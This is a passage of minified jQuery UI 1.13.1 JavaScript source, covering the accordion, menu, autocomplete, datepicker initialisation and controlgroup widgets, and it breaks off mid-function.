this.each((function(){/^ui-id-\d+$/.test(this.id)&&e(this).removeAttr("id")}))}}),e.widget("ui.accordion",{version:"1.13.1",options:{active:0,animate:{},classes:{"ui-accordion-header":"ui-corner-top","ui-accordion-header-collapsed":"ui-corner-all","ui-accordion-content":"ui-corner-bottom"},collapsible:!1,event:"click",header:function(e){return e.find("> li > :first-child").add(e.find("> :not(li)").even())},heightStyle:"auto",icons:{activeHeader:"ui-icon-triangle-1-s",header:"ui-icon-triangle-1-e"},activate:null,beforeActivate:null},hideProps:{borderTopWidth:"hide",borderBottomWidth:"hide",paddingTop:"hide",paddingBottom:"hide",height:"hide"},showProps:{borderTopWidth:"show",borderBottomWidth:"show",paddingTop:"show",paddingBottom:"show",height:"show"},_create:function(){var t=this.options;this.prevShow=this.prevHide=e(),this._addClass("ui-accordion","ui-widget ui-helper-reset"),this.element.attr("role","tablist"),t.collapsible||!1!==t.active&&null!=t.active||(t.active=0),this._processPanels(),t.active<0&&(t.active+=this.headers.length),this._refresh()},_getCreateEventData:function(){return{header:this.active,panel:this.active.length?this.active.next():e()}},_createIcons:function(){var t,i=this.options.icons;i&&(t=e("<span>"),this._addClass(t,"ui-accordion-header-icon","ui-icon "+i.header),t.prependTo(this.headers),t=this.active.children(".ui-accordion-header-icon"),this._removeClass(t,i.header)._addClass(t,null,i.activeHeader)._addClass(this.headers,"ui-accordion-icons"))},_destroyIcons:function(){this._removeClass(this.headers,"ui-accordion-icons"),this.headers.children(".ui-accordion-header-icon").remove()},_destroy:function(){var e;this.element.removeAttr("role"),this.headers.removeAttr("role aria-expanded aria-selected aria-controls tabIndex").removeUniqueId(),this._destroyIcons(),e=this.headers.next().css("display","").removeAttr("role aria-hidden aria-labelledby").removeUniqueId(),"content"!==this.options.heightStyle&&e.css("height","")},_setOption:function(e,t){"active"!==e?("event"===e&&(this.options.event&&this._off(this.headers,this.options.event),this._setupEvents(t)),this._super(e,t),"collapsible"!==e||t||!1!==this.options.active||this._activate(0),"icons"===e&&(this._destroyIcons(),t&&this._createIcons())):this._activate(t)},_setOptionDisabled:function(e){this._super(e),this.element.attr("aria-disabled",e),this._toggleClass(null,"ui-state-disabled",!!e),this._toggleClass(this.headers.add(this.headers.next()),null,"ui-state-disabled",!!e)},_keydown:function(t){if(!t.altKey&&!t.ctrlKey){var i=e.ui.keyCode,n=this.headers.length,r=this.headers.index(t.target),s=!1;switch(t.keyCode){case i.RIGHT:case i.DOWN:s=this.headers[(r+1)%n];break;case i.LEFT:case i.UP:s=this.headers[(r-1+n)%n];break;case i.SPACE:case i.ENTER:this._eventHandler(t);break;case i.HOME:s=this.headers[0];break;case i.END:s=this.headers[n-1]}s&&(e(t.target).attr("tabIndex",-1),e(s).attr("tabIndex",0),e(s).trigger("focus"),t.preventDefault())}},_panelKeyDown:function(t){t.keyCode===e.ui.keyCode.UP&&t.ctrlKey&&e(t.currentTarget).prev().trigger("focus")},refresh:function(){var t=this.options;this._processPanels(),!1===t.active&&!0===t.collapsible||!this.headers.length?(t.active=!1,this.active=e()):!1===t.active?this._activate(0):this.active.length&&!e.contains(this.element[0],this.active[0])?this.headers.length===this.headers.find(".ui-state-disabled").length?(t.active=!1,this.active=e()):this._activate(Math.max(0,t.active-1)):t.active=this.headers.index(this.active),this._destroyIcons(),this._refresh()},_processPanels:function(){var e=this.headers,t=this.panels;"function"==typeof this.options.header?this.headers=this.options.header(this.element):this.headers=this.element.find(this.options.header),this._addClass(this.headers,"ui-accordion-header ui-accordion-header-collapsed","ui-state-default"),this.panels=this.headers.next().filter(":not(.ui-accordion-content-active)").hide(),this._addClass(this.panels,"ui-accordion-content","ui-helper-reset ui-widget-content"),t&&(this._off(e.not(this.headers)),this._off(t.not(this.panels)))},_refresh:function(){var t,i=this.options,n=i.heightStyle,r=this.element.parent();this.active=this._findActive(i.active),this._addClass(this.active,"ui-accordion-header-active","ui-state-active")._removeClass(this.active,"ui-accordion-header-collapsed"),this._addClass(this.active.next(),"ui-accordion-content-active"),this.active.next().show(),this.headers.attr("role","tab").each((function(){var t=e(this),i=t.uniqueId().attr("id"),n=t.next(),r=n.uniqueId().attr("id");t.attr("aria-controls",r),n.attr("aria-labelledby",i)})).next().attr("role","tabpanel"),this.headers.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}).next().attr({"aria-hidden":"true"}).hide(),this.active.length?this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}).next().attr({"aria-hidden":"false"}):this.headers.eq(0).attr("tabIndex",0),this._createIcons(),this._setupEvents(i.event),"fill"===n?(t=r.height(),this.element.siblings(":visible").each((function(){var i=e(this),n=i.css("position");"absolute"!==n&&"fixed"!==n&&(t-=i.outerHeight(!0))})),this.headers.each((function(){t-=e(this).outerHeight(!0)})),this.headers.next().each((function(){e(this).height(Math.max(0,t-e(this).innerHeight()+e(this).height()))})).css("overflow","auto")):"auto"===n&&(t=0,this.headers.next().each((function(){var i=e(this).is(":visible");i||e(this).show(),t=Math.max(t,e(this).css("height","").height()),i||e(this).hide()})).height(t))},_activate:function(t){(t=this._findActive(t)[0])!==this.active[0]&&(t=t||this.active[0],this._eventHandler({target:t,currentTarget:t,preventDefault:e.noop}))},_findActive:function(t){return"number"==typeof t?this.headers.eq(t):e()},_setupEvents:function(t){var i={keydown:"_keydown"};t&&e.each(t.split(" "),(function(e,t){i[t]="_eventHandler"})),this._off(this.headers.add(this.headers.next())),this._on(this.headers,i),this._on(this.headers.next(),{keydown:"_panelKeyDown"}),this._hoverable(this.headers),this._focusable(this.headers)},_eventHandler:function(t){var i=this.options,n=this.active,r=e(t.currentTarget),s=r[0]===n[0],a=s&&i.collapsible,o=a?e():r.next(),l=n.next();o={oldHeader:n,oldPanel:l,newHeader:a?e():r,newPanel:o},t.preventDefault(),s&&!i.collapsible||!1===this._trigger("beforeActivate",t,o)||(i.active=!a&&this.headers.index(r),this.active=s?e():r,this._toggle(o),this._removeClass(n,"ui-accordion-header-active","ui-state-active"),i.icons&&(n=n.children(".ui-accordion-header-icon"),this._removeClass(n,null,i.icons.activeHeader)._addClass(n,null,i.icons.header)),s||(this._removeClass(r,"ui-accordion-header-collapsed")._addClass(r,"ui-accordion-header-active","ui-state-active"),i.icons&&(s=r.children(".ui-accordion-header-icon"),this._removeClass(s,null,i.icons.header)._addClass(s,null,i.icons.activeHeader)),this._addClass(r.next(),"ui-accordion-content-active")))},_toggle:function(t){var i=t.newPanel,n=this.prevShow.length?this.prevShow:t.oldPanel;this.prevShow.add(this.prevHide).stop(!0,!0),this.prevShow=i,this.prevHide=n,this.options.animate?this._animate(i,n,t):(n.hide(),i.show(),this._toggleComplete(t)),n.attr({"aria-hidden":"true"}),n.prev().attr({"aria-selected":"false","aria-expanded":"false"}),i.length&&n.length?n.prev().attr({tabIndex:-1,"aria-expanded":"false"}):i.length&&this.headers.filter((function(){return 0===parseInt(e(this).attr("tabIndex"),10)})).attr("tabIndex",-1),i.attr("aria-hidden","false").prev().attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0})},_animate:function(e,t,i){var n,r,s,a=this,o=0,l=e.css("box-sizing"),u=e.length&&(!t.length||e.index()<t.index()),c=this.options.animate||{},d=u&&c.down||c;return u=function(){a._toggleComplete(i)},r=(r="string"==typeof d?d:r)||d.easing||c.easing,s=(s="number"==typeof d?d:s)||d.duration||c.duration,t.length?e.length?(n=e.show().outerHeight(),t.animate(this.hideProps,{duration:s,easing:r,step:function(e,t){t.now=Math.round(e)}}),void e.hide().animate(this.showProps,{duration:s,easing:r,complete:u,step:function(e,i){i.now=Math.round(e),"height"!==i.prop?"content-box"===l&&(o+=i.now):"content"!==a.options.heightStyle&&(i.now=Math.round(n-t.outerHeight()-o),o=0)}})):t.animate(this.hideProps,s,r,u):e.animate(this.showProps,s,r,u)},_toggleComplete:function(e){var t=e.oldPanel,i=t.prev();this._removeClass(t,"ui-accordion-content-active"),this._removeClass(i,"ui-accordion-header-active")._addClass(i,"ui-accordion-header-collapsed"),t.length&&(t.parent()[0].className=t.parent()[0].className),this._trigger("activate",null,e)}}),e.ui.safeActiveElement=function(e){var t;try{t=e.activeElement}catch(i){t=e.body}return(t=t||e.body).nodeName?t:e.body},e.widget("ui.menu",{version:"1.13.1",defaultElement:"<ul>",delay:300,options:{icons:{submenu:"ui-icon-caret-1-e"},items:"> *",menus:"ul",position:{my:"left top",at:"right top"},role:"menu",blur:null,focus:null,select:null},_create:function(){this.activeMenu=this.element,this.mouseHandled=!1,this.lastMousePosition={x:null,y:null},this.element.uniqueId().attr({role:this.options.role,tabIndex:0}),this._addClass("ui-menu","ui-widget ui-widget-content"),this._on({"mousedown .ui-menu-item":function(e){e.preventDefault(),this._activateItem(e)},"click .ui-menu-item":function(t){var i=e(t.target),n=e(e.ui.safeActiveElement(this.document[0]));!this.mouseHandled&&i.not(".ui-state-disabled").length&&(this.select(t),t.isPropagationStopped()||(this.mouseHandled=!0),i.has(".ui-menu").length?this.expand(t):!this.element.is(":focus")&&n.closest(".ui-menu").length&&(this.element.trigger("focus",[!0]),this.active&&1===this.active.parents(".ui-menu").length&&clearTimeout(this.timer)))},"mouseenter .ui-menu-item":"_activateItem","mousemove .ui-menu-item":"_activateItem",mouseleave:"collapseAll","mouseleave .ui-menu":"collapseAll",focus:function(e,t){var i=this.active||this._menuItems().first();t||this.focus(e,i)},blur:function(t){this._delay((function(){e.contains(this.element[0],e.ui.safeActiveElement(this.document[0]))||this.collapseAll(t)}))},keydown:"_keydown"}),this.refresh(),this._on(this.document,{click:function(e){this._closeOnDocumentClick(e)&&this.collapseAll(e,!0),this.mouseHandled=!1}})},_activateItem:function(t){var i,n;this.previousFilter||t.clientX===this.lastMousePosition.x&&t.clientY===this.lastMousePosition.y||(this.lastMousePosition={x:t.clientX,y:t.clientY},i=e(t.target).closest(".ui-menu-item"),n=e(t.currentTarget),i[0]===n[0]&&(n.is(".ui-state-active")||(this._removeClass(n.siblings().children(".ui-state-active"),null,"ui-state-active"),this.focus(t,n))))},_destroy:function(){var t=this.element.find(".ui-menu-item").removeAttr("role aria-disabled").children(".ui-menu-item-wrapper").removeUniqueId().removeAttr("tabIndex role aria-haspopup");this.element.removeAttr("aria-activedescendant").find(".ui-menu").addBack().removeAttr("role aria-labelledby aria-expanded aria-hidden aria-disabled tabIndex").removeUniqueId().show(),t.children().each((function(){var t=e(this);t.data("ui-menu-submenu-caret")&&t.remove()}))},_keydown:function(t){var i,n,r,s=!0;switch(t.keyCode){case e.ui.keyCode.PAGE_UP:this.previousPage(t);break;case e.ui.keyCode.PAGE_DOWN:this.nextPage(t);break;case e.ui.keyCode.HOME:this._move("first","first",t);break;case e.ui.keyCode.END:this._move("last","last",t);break;case e.ui.keyCode.UP:this.previous(t);break;case e.ui.keyCode.DOWN:this.next(t);break;case e.ui.keyCode.LEFT:this.collapse(t);break;case e.ui.keyCode.RIGHT:this.active&&!this.active.is(".ui-state-disabled")&&this.expand(t);break;case e.ui.keyCode.ENTER:case e.ui.keyCode.SPACE:this._activate(t);break;case e.ui.keyCode.ESCAPE:this.collapse(t);break;default:i=this.previousFilter||"",r=s=!1,n=96<=t.keyCode&&t.keyCode<=105?(t.keyCode-96).toString():String.fromCharCode(t.keyCode),clearTimeout(this.filterTimer),n===i?r=!0:n=i+n,i=this._filterMenuItems(n),(i=r&&-1!==i.index(this.active.next())?this.active.nextAll(".ui-menu-item"):i).length||(n=String.fromCharCode(t.keyCode),i=this._filterMenuItems(n)),i.length?(this.focus(t,i),this.previousFilter=n,this.filterTimer=this._delay((function(){delete this.previousFilter}),1e3)):delete this.previousFilter}s&&t.preventDefault()},_activate:function(e){this.active&&!this.active.is(".ui-state-disabled")&&(this.active.children("[aria-haspopup='true']").length?this.expand(e):this.select(e))},refresh:function(){var t,i,n=this,r=this.options.icons.submenu,s=this.element.find(this.options.menus);this._toggleClass("ui-menu-icons",null,!!this.element.find(".ui-icon").length),i=s.filter(":not(.ui-menu)").hide().attr({role:this.options.role,"aria-hidden":"true","aria-expanded":"false"}).each((function(){var t=e(this),i=t.prev(),s=e("<span>").data("ui-menu-submenu-caret",!0);n._addClass(s,"ui-menu-icon","ui-icon "+r),i.attr("aria-haspopup","true").prepend(s),t.attr("aria-labelledby",i.attr("id"))})),this._addClass(i,"ui-menu","ui-widget ui-widget-content ui-front"),(t=s.add(this.element).find(this.options.items)).not(".ui-menu-item").each((function(){var t=e(this);n._isDivider(t)&&n._addClass(t,"ui-menu-divider","ui-widget-content")})),s=(i=t.not(".ui-menu-item, .ui-menu-divider")).children().not(".ui-menu").uniqueId().attr({tabIndex:-1,role:this._itemRole()}),this._addClass(i,"ui-menu-item")._addClass(s,"ui-menu-item-wrapper"),t.filter(".ui-state-disabled").attr("aria-disabled","true"),this.active&&!e.contains(this.element[0],this.active[0])&&this.blur()},_itemRole:function(){return{menu:"menuitem",listbox:"option"}[this.options.role]},_setOption:function(e,t){var i;"icons"===e&&(i=this.element.find(".ui-menu-icon"),this._removeClass(i,null,this.options.icons.submenu)._addClass(i,null,t.submenu)),this._super(e,t)},_setOptionDisabled:function(e){this._super(e),this.element.attr("aria-disabled",String(e)),this._toggleClass(null,"ui-state-disabled",!!e)},focus:function(e,t){var i;this.blur(e,e&&"focus"===e.type),this._scrollIntoView(t),this.active=t.first(),i=this.active.children(".ui-menu-item-wrapper"),this._addClass(i,null,"ui-state-active"),this.options.role&&this.element.attr("aria-activedescendant",i.attr("id")),i=this.active.parent().closest(".ui-menu-item").children(".ui-menu-item-wrapper"),this._addClass(i,null,"ui-state-active"),e&&"keydown"===e.type?this._close():this.timer=this._delay((function(){this._close()}),this.delay),(i=t.children(".ui-menu")).length&&e&&/^mouse/.test(e.type)&&this._startOpening(i),this.activeMenu=t.parent(),this._trigger("focus",e,{item:t})},_scrollIntoView:function(t){var i,n,r;this._hasScroll()&&(n=parseFloat(e.css(this.activeMenu[0],"borderTopWidth"))||0,r=parseFloat(e.css(this.activeMenu[0],"paddingTop"))||0,i=t.offset().top-this.activeMenu.offset().top-n-r,n=this.activeMenu.scrollTop(),r=this.activeMenu.height(),t=t.outerHeight(),i<0?this.activeMenu.scrollTop(n+i):r<i+t&&this.activeMenu.scrollTop(n+i-r+t))},blur:function(e,t){t||clearTimeout(this.timer),this.active&&(this._removeClass(this.active.children(".ui-menu-item-wrapper"),null,"ui-state-active"),this._trigger("blur",e,{item:this.active}),this.active=null)},_startOpening:function(e){clearTimeout(this.timer),"true"===e.attr("aria-hidden")&&(this.timer=this._delay((function(){this._close(),this._open(e)}),this.delay))},_open:function(t){var i=e.extend({of:this.active},this.options.position);clearTimeout(this.timer),this.element.find(".ui-menu").not(t.parents(".ui-menu")).hide().attr("aria-hidden","true"),t.show().removeAttr("aria-hidden").attr("aria-expanded","true").position(i)},collapseAll:function(t,i){clearTimeout(this.timer),this.timer=this._delay((function(){var n=i?this.element:e(t&&t.target).closest(this.element.find(".ui-menu"));n.length||(n=this.element),this._close(n),this.blur(t),this._removeClass(n.find(".ui-state-active"),null,"ui-state-active"),this.activeMenu=n}),i?0:this.delay)},_close:function(e){(e=e||(this.active?this.active.parent():this.element)).find(".ui-menu").hide().attr("aria-hidden","true").attr("aria-expanded","false")},_closeOnDocumentClick:function(t){return!e(t.target).closest(".ui-menu").length},_isDivider:function(e){return!/[^\-\u2014\u2013\s]/.test(e.text())},collapse:function(e){var t=this.active&&this.active.parent().closest(".ui-menu-item",this.element);t&&t.length&&(this._close(),this.focus(e,t))},expand:function(e){var t=this.active&&this._menuItems(this.active.children(".ui-menu")).first();t&&t.length&&(this._open(t.parent()),this._delay((function(){this.focus(e,t)})))},next:function(e){this._move("next","first",e)},previous:function(e){this._move("prev","last",e)},isFirstItem:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},isLastItem:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},_menuItems:function(e){return(e||this.element).find(this.options.items).filter(".ui-menu-item")},_move:function(e,t,i){var n;(n=this.active?"first"===e||"last"===e?this.active["first"===e?"prevAll":"nextAll"](".ui-menu-item").last():this.active[e+"All"](".ui-menu-item").first():n)&&n.length&&this.active||(n=this._menuItems(this.activeMenu)[t]()),this.focus(i,n)},nextPage:function(t){var i,n,r;this.active?this.isLastItem()||(this._hasScroll()?(n=this.active.offset().top,r=this.element.innerHeight(),0===e.fn.jquery.indexOf("3.2.")&&(r+=this.element[0].offsetHeight-this.element.outerHeight()),this.active.nextAll(".ui-menu-item").each((function(){return(i=e(this)).offset().top-n-r<0})),this.focus(t,i)):this.focus(t,this._menuItems(this.activeMenu)[this.active?"last":"first"]())):this.next(t)},previousPage:function(t){var i,n,r;this.active?this.isFirstItem()||(this._hasScroll()?(n=this.active.offset().top,r=this.element.innerHeight(),0===e.fn.jquery.indexOf("3.2.")&&(r+=this.element[0].offsetHeight-this.element.outerHeight()),this.active.prevAll(".ui-menu-item").each((function(){return 0<(i=e(this)).offset().top-n+r})),this.focus(t,i)):this.focus(t,this._menuItems(this.activeMenu).first())):this.next(t)},_hasScroll:function(){return this.element.outerHeight()<this.element.prop("scrollHeight")},select:function(t){this.active=this.active||e(t.target).closest(".ui-menu-item");var i={item:this.active};this.active.has(".ui-menu").length||this.collapseAll(t,!0),this._trigger("select",t,i)},_filterMenuItems:function(t){t=t.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&");var i=new RegExp("^"+t,"i");return this.activeMenu.find(this.options.items).filter(".ui-menu-item").filter((function(){return i.test(String.prototype.trim.call(e(this).children(".ui-menu-item-wrapper").text()))}))}}),e.widget("ui.autocomplete",{version:"1.13.1",defaultElement:"<input>",options:{appendTo:null,autoFocus:!1,delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null,change:null,close:null,focus:null,open:null,response:null,search:null,select:null},requestIndex:0,pending:0,liveRegionTimer:null,_create:function(){var t,i,n,r="textarea"===(s=this.element[0].nodeName.toLowerCase()),s="input"===s;this.isMultiLine=r||!s&&this._isContentEditable(this.element),this.valueMethod=this.element[r||s?"val":"text"],this.isNewMenu=!0,this._addClass("ui-autocomplete-input"),this.element.attr("autocomplete","off"),this._on(this.element,{keydown:function(r){if(this.element.prop("readOnly"))i=n=t=!0;else{i=n=t=!1;var s=e.ui.keyCode;switch(r.keyCode){case s.PAGE_UP:t=!0,this._move("previousPage",r);break;case s.PAGE_DOWN:t=!0,this._move("nextPage",r);break;case s.UP:t=!0,this._keyEvent("previous",r);break;case s.DOWN:t=!0,this._keyEvent("next",r);break;case s.ENTER:this.menu.active&&(t=!0,r.preventDefault(),this.menu.select(r));break;case s.TAB:this.menu.active&&this.menu.select(r);break;case s.ESCAPE:this.menu.element.is(":visible")&&(this.isMultiLine||this._value(this.term),this.close(r),r.preventDefault());break;default:i=!0,this._searchTimeout(r)}}},keypress:function(n){if(t)return t=!1,void(this.isMultiLine&&!this.menu.element.is(":visible")||n.preventDefault());if(!i){var r=e.ui.keyCode;switch(n.keyCode){case r.PAGE_UP:this._move("previousPage",n);break;case r.PAGE_DOWN:this._move("nextPage",n);break;case r.UP:this._keyEvent("previous",n);break;case r.DOWN:this._keyEvent("next",n)}}},input:function(e){if(n)return n=!1,void e.preventDefault();this._searchTimeout(e)},focus:function(){this.selectedItem=null,this.previous=this._value()},blur:function(e){clearTimeout(this.searching),this.close(e),this._change(e)}}),this._initSource(),this.menu=e("<ul>").appendTo(this._appendTo()).menu({role:null}).hide().attr({unselectable:"on"}).menu("instance"),this._addClass(this.menu.element,"ui-autocomplete","ui-front"),this._on(this.menu.element,{mousedown:function(e){e.preventDefault()},menufocus:function(t,i){var n,r;if(this.isNewMenu&&(this.isNewMenu=!1,t.originalEvent&&/^mouse/.test(t.originalEvent.type)))return this.menu.blur(),void this.document.one("mousemove",(function(){e(t.target).trigger(t.originalEvent)}));r=i.item.data("ui-autocomplete-item"),!1!==this._trigger("focus",t,{item:r})&&t.originalEvent&&/^key/.test(t.originalEvent.type)&&this._value(r.value),(n=i.item.attr("aria-label")||r.value)&&String.prototype.trim.call(n).length&&(clearTimeout(this.liveRegionTimer),this.liveRegionTimer=this._delay((function(){this.liveRegion.html(e("<div>").text(n))}),100))},menuselect:function(t,i){var n=i.item.data("ui-autocomplete-item"),r=this.previous;this.element[0]!==e.ui.safeActiveElement(this.document[0])&&(this.element.trigger("focus"),this.previous=r,this._delay((function(){this.previous=r,this.selectedItem=n}))),!1!==this._trigger("select",t,{item:n})&&this._value(n.value),this.term=this._value(),this.close(t),this.selectedItem=n}}),this.liveRegion=e("<div>",{role:"status","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body),this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible"),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_destroy:function(){clearTimeout(this.searching),this.element.removeAttr("autocomplete"),this.menu.element.remove(),this.liveRegion.remove()},_setOption:function(e,t){this._super(e,t),"source"===e&&this._initSource(),"appendTo"===e&&this.menu.element.appendTo(this._appendTo()),"disabled"===e&&t&&this.xhr&&this.xhr.abort()},_isEventTargetInWidget:function(t){var i=this.menu.element[0];return t.target===this.element[0]||t.target===i||e.contains(i,t.target)},_closeOnClickOutside:function(e){this._isEventTargetInWidget(e)||this.close()},_appendTo:function(){var t=this.options.appendTo;return(t=(t=t&&(t.jquery||t.nodeType?e(t):this.document.find(t).eq(0)))&&t[0]?t:this.element.closest(".ui-front, dialog")).length?t:this.document[0].body},_initSource:function(){var t,i,n=this;Array.isArray(this.options.source)?(t=this.options.source,this.source=function(i,n){n(e.ui.autocomplete.filter(t,i.term))}):"string"==typeof this.options.source?(i=this.options.source,this.source=function(t,r){n.xhr&&n.xhr.abort(),n.xhr=e.ajax({url:i,data:t,dataType:"json",success:function(e){r(e)},error:function(){r([])}})}):this.source=this.options.source},_searchTimeout:function(e){clearTimeout(this.searching),this.searching=this._delay((function(){var t=this.term===this._value(),i=this.menu.element.is(":visible"),n=e.altKey||e.ctrlKey||e.metaKey||e.shiftKey;t&&(i||n)||(this.selectedItem=null,this.search(null,e))}),this.options.delay)},search:function(e,t){return e=null!=e?e:this._value(),this.term=this._value(),e.length<this.options.minLength?this.close(t):!1!==this._trigger("search",t)?this._search(e):void 0},_search:function(e){this.pending++,this._addClass("ui-autocomplete-loading"),this.cancelSearch=!1,this.source({term:e},this._response())},_response:function(){var e=++this.requestIndex;return function(t){e===this.requestIndex&&this.__response(t),this.pending--,this.pending||this._removeClass("ui-autocomplete-loading")}.bind(this)},__response:function(e){e=e&&this._normalize(e),this._trigger("response",null,{content:e}),!this.options.disabled&&e&&e.length&&!this.cancelSearch?(this._suggest(e),this._trigger("open")):this._close()},close:function(e){this.cancelSearch=!0,this._close(e)},_close:function(e){this._off(this.document,"mousedown"),this.menu.element.is(":visible")&&(this.menu.element.hide(),this.menu.blur(),this.isNewMenu=!0,this._trigger("close",e))},_change:function(e){this.previous!==this._value()&&this._trigger("change",e,{item:this.selectedItem})},_normalize:function(t){return t.length&&t[0].label&&t[0].value?t:e.map(t,(function(t){return"string"==typeof t?{label:t,value:t}:e.extend({},t,{label:t.label||t.value,value:t.value||t.label})}))},_suggest:function(t){var i=this.menu.element.empty();this._renderMenu(i,t),this.isNewMenu=!0,this.menu.refresh(),i.show(),this._resizeMenu(),i.position(e.extend({of:this.element},this.options.position)),this.options.autoFocus&&this.menu.next(),this._on(this.document,{mousedown:"_closeOnClickOutside"})},_resizeMenu:function(){var e=this.menu.element;e.outerWidth(Math.max(e.width("").outerWidth()+1,this.element.outerWidth()))},_renderMenu:function(t,i){var n=this;e.each(i,(function(e,i){n._renderItemData(t,i)}))},_renderItemData:function(e,t){return this._renderItem(e,t).data("ui-autocomplete-item",t)},_renderItem:function(t,i){return e("<li>").append(e("<div>").text(i.label)).appendTo(t)},_move:function(e,t){if(this.menu.element.is(":visible"))return this.menu.isFirstItem()&&/^previous/.test(e)||this.menu.isLastItem()&&/^next/.test(e)?(this.isMultiLine||this._value(this.term),void this.menu.blur()):void this.menu[e](t);this.search(null,t)},widget:function(){return this.menu.element},_value:function(){return this.valueMethod.apply(this.element,arguments)},_keyEvent:function(e,t){this.isMultiLine&&!this.menu.element.is(":visible")||(this._move(e,t),t.preventDefault())},_isContentEditable:function(e){if(!e.length)return!1;var t=e.prop("contentEditable");return"inherit"===t?this._isContentEditable(e.parent()):"true"===t}}),e.extend(e.ui.autocomplete,{escapeRegex:function(e){return e.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&")},filter:function(t,i){var n=new RegExp(e.ui.autocomplete.escapeRegex(i),"i");return e.grep(t,(function(e){return n.test(e.label||e.value||e)}))}}),e.widget("ui.autocomplete",e.ui.autocomplete,{options:{messages:{noResults:"No search results.",results:function(e){return e+(1<e?" results are":" result is")+" available, use up and down arrow keys to navigate."}}},__response:function(t){var i;this._superApply(arguments),this.options.disabled||this.cancelSearch||(i=t&&t.length?this.options.messages.results(t.length):this.options.messages.noResults,clearTimeout(this.liveRegionTimer),this.liveRegionTimer=this._delay((function(){this.liveRegion.html(e("<div>").text(i))}),100))}}),e.ui.autocomplete;var ee,te,ie=/ui-corner-([a-z]){2,6}/g;function ne(){this._curInst=null,this._keyEvent=!1,this._disabledInputs=[],this._datepickerShowing=!1,this._inDialog=!1,this._mainDivId="ui-datepicker-div",this._inlineClass="ui-datepicker-inline",this._appendClass="ui-datepicker-append",this._triggerClass="ui-datepicker-trigger",this._dialogClass="ui-datepicker-dialog",this._disableClass="ui-datepicker-disabled",this._unselectableClass="ui-datepicker-unselectable",this._currentClass="ui-datepicker-current-day",this._dayOverClass="ui-datepicker-days-cell-over",this.regional=[],this.regional[""]={closeText:"Done",prevText:"Prev",nextText:"Next",currentText:"Today",monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],weekHeader:"Wk",dateFormat:"mm/dd/yy",firstDay:0,isRTL:!1,showMonthAfterYear:!1,yearSuffix:"",selectMonthLabel:"Select month",selectYearLabel:"Select year"},this._defaults={showOn:"focus",showAnim:"fadeIn",showOptions:{},defaultDate:null,appendText:"",buttonText:"...",buttonImage:"",buttonImageOnly:!1,hideIfNoPrevNext:!1,navigationAsDateFormat:!1,gotoCurrent:!1,changeMonth:!1,changeYear:!1,yearRange:"c-10:c+10",showOtherMonths:!1,selectOtherMonths:!1,showWeek:!1,calculateWeek:this.iso8601Week,shortYearCutoff:"+10",minDate:null,maxDate:null,duration:"fast",beforeShowDay:null,beforeShow:null,onSelect:null,onChangeMonthYear:null,onClose:null,onUpdateDatepicker:null,numberOfMonths:1,showCurrentAtPos:0,stepMonths:1,stepBigMonths:12,altField:"",altFormat:"",constrainInput:!0,showButtonPanel:!1,autoSize:!1,disabled:!1},e.extend(this._defaults,this.regional[""]),this.regional.en=e.extend(!0,{},this.regional[""]),this.regional["en-US"]=e.extend(!0,{},this.regional.en),this.dpDiv=re(e("<div id='"+this._mainDivId+"' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>"))}function re(t){var i="button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";return t.on("mouseout",i,(function(){e(this).removeClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&e(this).removeClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&e(this).removeClass("ui-datepicker-next-hover")})).on("mouseover",i,se)}function se(){e.datepicker._isDisabledDatepicker((te.inline?te.dpDiv.parent():te.input)[0])||(e(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover"),e(this).addClass("ui-state-hover"),-1!==this.className.indexOf("ui-datepicker-prev")&&e(this).addClass("ui-datepicker-prev-hover"),-1!==this.className.indexOf("ui-datepicker-next")&&e(this).addClass("ui-datepicker-next-hover"))}function ae(t,i){for(var n in e.extend(t,i),i)null==i[n]&&(t[n]=i[n]);return t}e.widget("ui.controlgroup",{version:"1.13.1",defaultElement:"<div>",options:{direction:"horizontal",disabled:null,onlyVisible:!0,items:{button:"input[type=button], input[type=submit], input[type=reset], button, a",controlgroupLabel:".ui-controlgroup-label",checkboxradio:"input[type='checkbox'], input[type='radio']",selectmenu:"select",spinner:".ui-spinner-input"}},_create:function(){this._enhance()},_enhance:function(){this.element.attr("role","toolbar"),this.refresh()},_destroy:function(){this._callChildMethod("destroy"),this.childWidgets.removeData("ui-controlgroup-data"),this.element.removeAttr("role"),this.options.items.controlgroupLabel&&this.element.find(this.options.items.controlgroupLabel).find(".ui-controlgroup-label-contents").contents().unwrap()},_initWidgets:function(){var t=this,i=[];e.each(this.options.items,(function(n,r){var s,a={};if(r)return"controlgroupLabel"===n?((s=t.element.find(r)).each((function(){var t=e(this);t.children(".ui-controlgroup-label-contents").length||t.contents().wrapAll("<span class='ui-controlgroup-label-contents'></span>")})),t._addClass(s,null,"ui-widget ui-widget-content ui-state-default"),void(i=i.concat(s.get()))):void(e.fn[n]&&(a=t["_"+n+"Options"]?t["_"+n+"Options"]("middle"):{classes:{}},t.element.find(r).each((function(){var 